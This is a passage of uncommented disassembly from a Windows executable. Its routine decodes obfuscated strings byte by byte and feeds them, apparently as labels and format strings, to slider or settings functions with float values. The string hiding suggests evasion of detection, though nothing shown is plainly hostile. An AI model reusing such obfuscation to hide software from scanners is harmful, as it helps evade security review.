call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x39]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x140025b40
mov edx, 6
lea rcx, [rbp + 0x39]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x39]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x140160338]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140025be2
movss xmm0, dword [0x140160338]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss xmm1, dword [0x140160348]
mulss xmm1, xmm12
movss dword [0x140160110], xmm1
mov byte [0x1401613cf], 1
mov byte [rbp + 0xa0], 0x55
mov dl, 0x25
lea rcx, [rbp + 0xa0]
call fcn.14002c170
mov byte [rbp + 0xa1], al
mov dl, 0x33
lea rcx, [rbp + 0xa0]
call fcn.14002c170
mov byte [rbp + 0xa2], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xa0]
call fcn.14002c170
mov byte [rbp + 0xa3], al
mov dl, Ordinal_50
lea rcx, [rbp + 0xa0]
call fcn.14002c170
mov byte [rbp + 0xa4], al
mov dl, 0x66
lea rcx, [rbp + 0xa0]
call fcn.14002c170
mov byte [rbp + 0xa5], al
mov dl, 0x25
lea rcx, [rbp + 0xa0]
call fcn.14002c170
mov byte [rbp + 0xa6], al
mov dl, 0x25
lea rcx, [rbp + 0xa0]
call fcn.14002c170
mov byte [rbp + 0xa7], al
xor eax, eax
mov byte [rbp + 0xa8], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0xa1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0xa0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0xa1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x140025c80
mov edx, 7
lea rcx, [rbp + 0xa1]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0xa1]
call fcn.140006740
mov rsi, rax
mov byte [rbp - 0x18], 0x3d
mov dl, 0x48
lea rcx, [rbp - 0x18]
call fcn.14002c170
mov byte [rbp - 0x17], al
mov dl, 0x45
lea rcx, [rbp - 0x18]
call fcn.14002c170
mov byte [rbp - 0x16], al
mov dl, 0x49
lea rcx, [rbp - 0x18]
call fcn.14002c170
mov byte [rbp - 0x15], al
mov dl, 0x47
lea rcx, [rbp - 0x18]
call fcn.14002c170
mov byte [rbp - 0x14], al
mov dl, 0x48
lea rcx, [rbp - 0x18]
call fcn.14002c170
mov byte [rbp - 0x13], al
mov dl, 0x54
lea rcx, [rbp - 0x18]
call fcn.14002c170
mov byte [rbp - 0x12], al
xor eax, eax
mov byte [rbp - 0x11], al
mov rdi, r15
nop
mov rdx, rdi
lea rcx, [rbp - 0x17]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x18]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x17]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x140025d40
mov edx, 6
lea rcx, [rbp - 0x17]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x17]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x140160348]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140025de2
movss xmm0, dword [0x140160338]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss xmm1, dword [0x140160348]
mulss xmm1, xmm12
movss dword [0x140160110], xmm1
mov byte [0x1401613cf], 1
movss xmm0, dword [0x140160348]
addss xmm0, dword [0x140160338]
mulss xmm0, xmm15
movss dword [0x14016033c], xmm0
jmp 0x1400278cf
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x140026625
movaps xmm0, xmm8
call fcn.140055340
mov byte [rbp - 0x7c], 0x3d
mov dl, 0x25
lea rcx, [rbp - 0x7c]
call fcn.14002c170
mov byte [rbp - 0x7b], al
mov dl, 0x30
lea rcx, [rbp - 0x7c]
call fcn.14002c170
mov byte [rbp - 0x7a], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x7c]
call fcn.14002c170
mov byte [rbp - 0x79], al
mov dl, 0x33
lea rcx, [rbp - 0x7c]
call fcn.14002c170
mov byte [rbp - 0x78], al
mov dl, 0x66
lea rcx, [rbp - 0x7c]
call fcn.14002c170
mov byte [rbp - 0x77], al
xor eax, eax
mov byte [rbp - 0x76], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp - 0x7b]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x7c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x7b]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x140025e70
mov edx, 5
lea rcx, [rbp - 0x7b]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x7b]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x188], 6
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x189], al
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x18a], al
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x18b], al
mov dl, 0x69
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x18c], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x18d], al
mov dl, 0x65
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x18e], al
mov dl, 0x61
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x18f], al
mov dl, WSAStartup
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x190], al
mov dl, 0x5f
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x191], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x192], al
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x193], al
mov dl, 0x69
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x194], al
mov dl, 0x64
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x195], al
mov dl, 0x65
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x196], al
mov dl, WSAStartup
lea rcx, [rbp + 0x188]
call fcn.14002c170
mov byte [rbp + 0x197], al
xor eax, eax
mov byte [rbp + 0x198], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x189]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x188]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x189]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xf
jb 0x140026000
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x189]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x189]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm10
lea rdx, [0x140160204]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140026087
mov byte [0x1401613cf], 1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp - 0x74], Ordinal_45
mov dl, 0x25
lea rcx, [rbp - 0x74]
call fcn.14002c170
mov byte [rbp - 0x73], al
mov dl, 0x30
lea rcx, [rbp - 0x74]
call fcn.14002c170
mov byte [rbp - 0x72], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x74]
call fcn.14002c170
mov byte [rbp - 0x71], al
mov dl, 0x34
lea rcx, [rbp - 0x74]
call fcn.14002c170
mov byte [rbp - 0x70], al
mov dl, 0x66
lea rcx, [rbp - 0x74]
call fcn.14002c170
mov byte [rbp - 0x6f], al
xor eax, eax
mov byte [rbp - 0x6e], al
mov rdi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x73]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x74]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x73]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x1400260f0
mov edx, 5
lea rcx, [rbp - 0x73]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x73]
call fcn.140006740
mov rsi, rax
mov byte [rbp - 0x10], 0x52
mov dl, 0x4c
lea rcx, [rbp - 0x10]
call fcn.14002c170
mov byte [rbp - 0xf], al
mov dl, 0x49
lea rcx, [rbp - 0x10]
call fcn.14002c170
mov byte [rbp - 0xe], al
mov dl, Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.14002c170
mov byte [rbp - 0xd], al
mov dl, 0x45
lea rcx, [rbp - 0x10]
call fcn.14002c170
mov byte [rbp - 0xc], al
mov dl, 0x41
lea rcx, [rbp - 0x10]
call fcn.14002c170
mov byte [rbp - 0xb], al
mov dl, 0x52
lea rcx, [rbp - 0x10]
call fcn.14002c170
mov byte [rbp - 0xa], al
xor eax, eax
mov byte [rbp - 9], al
mov rdi, r15
nop
mov rdx, rdi
lea rcx, [rbp - 0xf]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x10]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0xf]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400261a0
mov edx, 6
lea rcx, [rbp - 0xf]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0xf]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm10
movss xmm6, dword [0x14014b46c]
movaps xmm2, xmm6
lea rdx, [0x140160204]
mov rcx, rax
call fcn.140087db0
test al, al
je 0x14002621f
mov byte [0x1401613cf], 1
mov byte [rbp - 0x6c], reloc.WS2_32.dll_sendto
mov dl, 0x25
lea rcx, [rbp - 0x6c]
call fcn.14002c170
mov byte [rbp - 0x6b], al
mov dl, 0x30
lea rcx, [rbp - 0x6c]
call fcn.14002c170
mov byte [rbp - 0x6a], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x6c]
call fcn.14002c170
mov byte [rbp - 0x69], al
mov dl, 0x33
lea rcx, [rbp - 0x6c]
call fcn.14002c170
mov byte [rbp - 0x68], al
mov dl, 0x66
lea rcx, [rbp - 0x6c]
call fcn.14002c170
mov byte [rbp - 0x67], al
xor eax, eax
mov byte [rbp - 0x66], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp - 0x6b]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x6c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x6b]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x140026271
mov edx, 5
lea rcx, [rbp - 0x6b]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x6b]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x170], gethostname
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x171], al
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x172], al
mov dl, 0x68
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x173], al
mov dl, 0x65
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x174], al
mov dl, 0x69
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x175], al
mov dl, 0x67
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x176], al
mov dl, 0x68
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x177], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x178], al
mov dl, 0x5f
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x179], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x17a], al
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x17b], al
mov dl, 0x69
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x17c], al
mov dl, 0x64
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x17d], al
mov dl, 0x65
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x17e], al
mov dl, WSAStartup
lea rcx, [rbp + 0x170]
call fcn.14002c170
mov byte [rbp + 0x17f], al
xor eax, eax
mov byte [rbp + 0x180], al
mov rdi, r15
nop
mov rdx, rdi
lea rcx, [rbp + 0x171]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x170]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x171]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xf
jb 0x140026400
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x171]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x171]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm10
lea rdx, [0x140160110]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140026487
mov byte [0x1401613cf], 1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp - 0x64], 0x6a
mov dl, 0x25
lea rcx, [rbp - 0x64]
call fcn.14002c170
mov byte [rbp - 0x63], al
mov dl, 0x30
lea rcx, [rbp - 0x64]
call fcn.14002c170
mov byte [rbp - 0x62], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x64]
call fcn.14002c170
mov byte [rbp - 0x61], al
mov dl, 0x34
lea rcx, [rbp - 0x64]
call fcn.14002c170
mov byte [rbp - 0x60], al
mov dl, 0x66
lea rcx, [rbp - 0x64]
call fcn.14002c170
mov byte [rbp - 0x5f], al
xor eax, eax
mov byte [rbp - 0x5e], al
mov rdi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x63]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x64]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x63]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x1400264f0
mov edx, 5
lea rcx, [rbp - 0x63]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x63]
call fcn.140006740
mov rsi, rax
mov byte [rbp - 8], reloc.WS2_32.dll_recvfrom
mov dl, 0x48
lea rcx, [rbp - 8]
call fcn.14002c170
mov byte [rbp - 7], al
mov dl, 0x45
lea rcx, [rbp - 8]
call fcn.14002c170
mov byte [rbp - 6], al
mov dl, 0x49
lea rcx, [rbp - 8]
call fcn.14002c170
mov byte [rbp - 5], al
mov dl, 0x47
lea rcx, [rbp - 8]
call fcn.14002c170
mov byte [rbp - 4], al
mov dl, 0x48
lea rcx, [rbp - 8]
call fcn.14002c170
mov byte [rbp - 3], al
mov dl, 0x54
lea rcx, [rbp - 8]
call fcn.14002c170
mov byte [rbp - 2], al
xor eax, eax
mov byte [rbp - 1], al
mov rdi, r15
nop
mov rdx, rdi
lea rcx, [rbp - 7]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 8]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 7]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400265a0
mov edx, 6
lea rcx, [rbp - 7]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 7]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm10
movaps xmm2, xmm6
lea rdx, [0x140160110]
mov rcx, rax
call fcn.140087db0
test al, al
je 0x140026617
mov byte [0x1401613cf], 1
movaps xmm0, xmm14
call fcn.140055340
jmp 0x140026928
mov byte [rbp - 0x5c], reloc.WLDAP32.dll_Ordinal_32
mov dl, 0x25
lea rcx, [rbp - 0x5c]
call fcn.14002c170
mov byte [rbp - 0x5b], al
mov dl, 0x30
lea rcx, [rbp - 0x5c]
call fcn.14002c170
mov byte [rbp - 0x5a], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x5c]
call fcn.14002c170
mov byte [rbp - 0x59], al
mov dl, 0x33
lea rcx, [rbp - 0x5c]
call fcn.14002c170
mov byte [rbp - 0x58], al
mov dl, 0x66
lea rcx, [rbp - 0x5c]
call fcn.14002c170
mov byte [rbp - 0x57], al
xor eax, eax
mov byte [rbp - 0x56], al
mov rdi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x5b]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x5c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x5b]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x140026680
mov edx, 5
lea rcx, [rbp - 0x5b]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x5b]
call fcn.140006740
mov rsi, rax
mov byte [rbp], 0x40
mov dl, 0x4c
lea rcx, [rbp]
call fcn.14002c170
mov byte [rbp + 1], al
mov dl, 0x49
lea rcx, [rbp]
call fcn.14002c170
mov byte [rbp + 2], al
mov dl, Ordinal_79
lea rcx, [rbp]
call fcn.14002c170
mov byte [rbp + 3], al
mov dl, 0x45
lea rcx, [rbp]
call fcn.14002c170
mov byte [rbp + 4], al
mov dl, 0x41
lea rcx, [rbp]
call fcn.14002c170
mov byte [rbp + 5], al
mov dl, 0x52
lea rcx, [rbp]
call fcn.14002c170
mov byte [rbp + 6], al
xor eax, eax
mov byte [rbp + 7], al
mov rdi, r15
nop
mov rdx, rdi
lea rcx, [rbp + 1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x140026730
mov edx, 6
lea rcx, [rbp + 1]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 1]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm10
lea rdx, [0x140160204]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x1400267a8
mov byte [0x1401613cf], 1
mov byte [rbp - 0x54], 0x7b
mov dl, 0x25
lea rcx, [rbp - 0x54]
call fcn.14002c170
mov byte [rbp - 0x53], al
mov dl, 0x30
lea rcx, [rbp - 0x54]
call fcn.14002c170
mov byte [rbp - 0x52], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x54]
call fcn.14002c170
mov byte [rbp - 0x51], al
mov dl, 0x33
lea rcx, [rbp - 0x54]
call fcn.14002c170
mov byte [rbp - 0x50], al
mov dl, 0x66
lea rcx, [rbp - 0x54]
call fcn.14002c170
mov byte [rbp - 0x4f], al
xor eax, eax
mov byte [rbp - 0x4e], al
mov rdi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x53]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x54]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x53]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x140026800
mov edx, 5
lea rcx, [rbp - 0x53]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x53]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 8], 0x4a
mov dl, 0x48
lea rcx, [rbp + 8]
call fcn.14002c170
mov byte [rbp + 9], al
mov dl, 0x45
lea rcx, [rbp + 8]
call fcn.14002c170
mov byte [rbp + 0xa], al
mov dl, 0x49
lea rcx, [rbp + 8]
call fcn.14002c170
mov byte [rbp + 0xb], al
mov dl, 0x47
lea rcx, [rbp + 8]
call fcn.14002c170
mov byte [rbp + 0xc], al
mov dl, 0x48
lea rcx, [rbp + 8]
call fcn.14002c170
mov byte [rbp + 0xd], al
mov dl, 0x54
lea rcx, [rbp + 8]
call fcn.14002c170
mov byte [rbp + 0xe], al
xor eax, eax
mov byte [rbp + 0xf], al
mov rdi, r15
nop
mov rdx, rdi
lea rcx, [rbp + 9]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 8]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 9]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400268b0
mov edx, 6
lea rcx, [rbp + 9]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 9]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm10
lea rdx, [0x140160110]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140026928
mov byte [0x1401613cf], 1
movss xmm0, dword [0x140160204]
addss xmm0, dword [0x140160110]
mulss xmm0, xmm15
movss dword [0x140160328], xmm0
jmp 0x1400278cf
movss xmm0, dword [0x140160204]
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x140027150
mulss xmm0, xmm13
movss dword [0x14016033c], xmm0
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x140026eef
movaps xmm0, xmm8
call fcn.140055340
mov byte [rbp + 0x70], Ordinal_79
mov dl, 0x25
lea rcx, [rbp + 0x70]
call fcn.14002c170
mov byte [rbp + 0x71], al
mov dl, 0x33
lea rcx, [rbp + 0x70]
call fcn.14002c170
mov byte [rbp + 0x72], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x70]
call fcn.14002c170
mov byte [rbp + 0x73], al
mov dl, Ordinal_50
lea rcx, [rbp + 0x70]
call fcn.14002c170
mov byte [rbp + 0x74], al
mov dl, 0x66
lea rcx, [rbp + 0x70]
call fcn.14002c170
mov byte [rbp + 0x75], al
mov dl, 0x25
lea rcx, [rbp + 0x70]
call fcn.14002c170
mov byte [rbp + 0x76], al
mov dl, 0x25
lea rcx, [rbp + 0x70]
call fcn.14002c170
mov byte [rbp + 0x77], al
xor eax, eax
mov byte [rbp + 0x78], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x71]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x70]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x71]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x1400269f0
mov edx, 7
lea rcx, [rbp + 0x71]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x71]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x1b8], 0x42
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1b9], al
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1ba], al
mov dl, 0x6b
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1bb], al
mov dl, 0x62
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1bc], al
mov dl, 0x5f
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1bd], al
mov dl, 0x6d
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1be], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1bf], al
mov dl, 0x64
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c0], al
mov dl, 0x69
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c1], al
mov dl, 0x66
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c2], al
mov dl, 0x69
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c3], al
mov dl, 0x65
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c4], al
mov dl, WSAStartup
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c5], al
mov dl, 0x5f
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c6], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c7], al
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c8], al
mov dl, 0x69
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1c9], al
mov dl, 0x64
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1ca], al
mov dl, 0x65
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1cb], al
mov dl, WSAStartup
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
mov byte [rbp + 0x1cc], al
xor eax, eax
mov byte [rbp + 0x1cd], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x1b9]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x1b8]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1b9]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x14
jb 0x140026be1
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x1b9]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x1b9]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x14016033c]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140026c85
movss xmm0, dword [0x14016033c]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss dword [0x140160110], xmm0
mov byte [0x1401613cf], 1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp - 0x4c], 1
mov dl, 0x25
lea rcx, [rbp - 0x4c]
call fcn.14002c170
mov byte [rbp - 0x4b], al
mov dl, 0x33
lea rcx, [rbp - 0x4c]
call fcn.14002c170
mov byte [rbp - 0x4a], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x4c]
call fcn.14002c170
mov byte [rbp - 0x49], al
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp - 0x4c]
call fcn.14002c170
mov byte [rbp - 0x48], al
mov dl, 0x66
lea rcx, [rbp - 0x4c]
call fcn.14002c170
mov byte [rbp - 0x47], al
xor eax, eax
mov byte [rbp - 0x46], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp - 0x4b]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x4c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x4b]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x140026ce4
mov edx, 5
lea rcx, [rbp - 0x4b]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x4b]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x120], 0x78
mov dl, 0x4b
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x121], al
mov dl, 0x42
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x122], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x123], al
mov dl, 0x4d
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x124], al
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x125], al
mov dl, 0x44
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x126], al
mov dl, 0x49
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x127], al
mov dl, 0x46
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x128], al
mov dl, 0x49
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x129], al
mov dl, 0x45
lea rcx, [rbp + 0x120]
call fcn.14002c170
